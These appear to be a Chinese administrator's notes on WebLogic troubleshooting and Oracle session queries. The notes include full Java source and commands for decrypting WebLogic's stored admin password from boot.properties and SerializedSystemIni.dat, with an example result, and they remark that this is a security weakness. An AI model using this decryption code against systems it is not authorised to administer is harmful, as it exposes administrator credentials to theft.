weblogic 报错 please increase XXX,得知是连接池出了问题,查看weblogic配置,发现没有设置超时
查看oracle 当前session,可以看到连接的机器,用户,当前执行的sqlid
select * from v$session;
select v$sql where sql_id='xxx'
破解weblogic管理密码 1.创建一个单独的目录,例如c:DecryptionDemo 2.创建一个Java文件Decrypt.java
import java.io.PrintStream; import weblogic.security.internal.*; import weblogic.security.internal.encryption.*; public class Decrypt{ static EncryptionService es = null; static ClearOrEncryptedService ces = null; public static void main(String args[]){ String s = null; if(args.length == 0) s = ServerAuthenticate.promptValue("Password:", false); else if(args.length == 1) s = args[0]; else System.err.println("Usage: java Decrypt [ password ]"); es = SerializedSystemIni.getExistingEncryptionService(); if(es == null){ System.err.println("Unable to initialize encryption service"); return; } ces = new ClearOrEncryptedService(es); if(s != null) System.out.println("nDecrypted Password is:" + ces.decrypt(s)); } }
3.运行相关命令解密位于 d: beauser_projectsdomains1034serversAdminServersecurityboot.properties 文件中的字符串 call D:beawlserver_10.3serverbinsetWLSEnv.cmd copy D:beauser_projectsdomains1034securitySerializedSystemIni.dat javac Decrypt.java java -cp .;%CLASSPATH% Decrypt {AES}QxP9vMIXw7g39iRfGNIZ76TOoHq= pause 此时可以看到密码原文为weblogic1,
安全隐患: 如果任何人知道您的domain的名称,那么他就可以创建一个相同名称的domain,来获得文件 SerializedSystemIni.dat 和boot.properties,然后就可以破解到原始的密码明文, 也许这是一个安全漏洞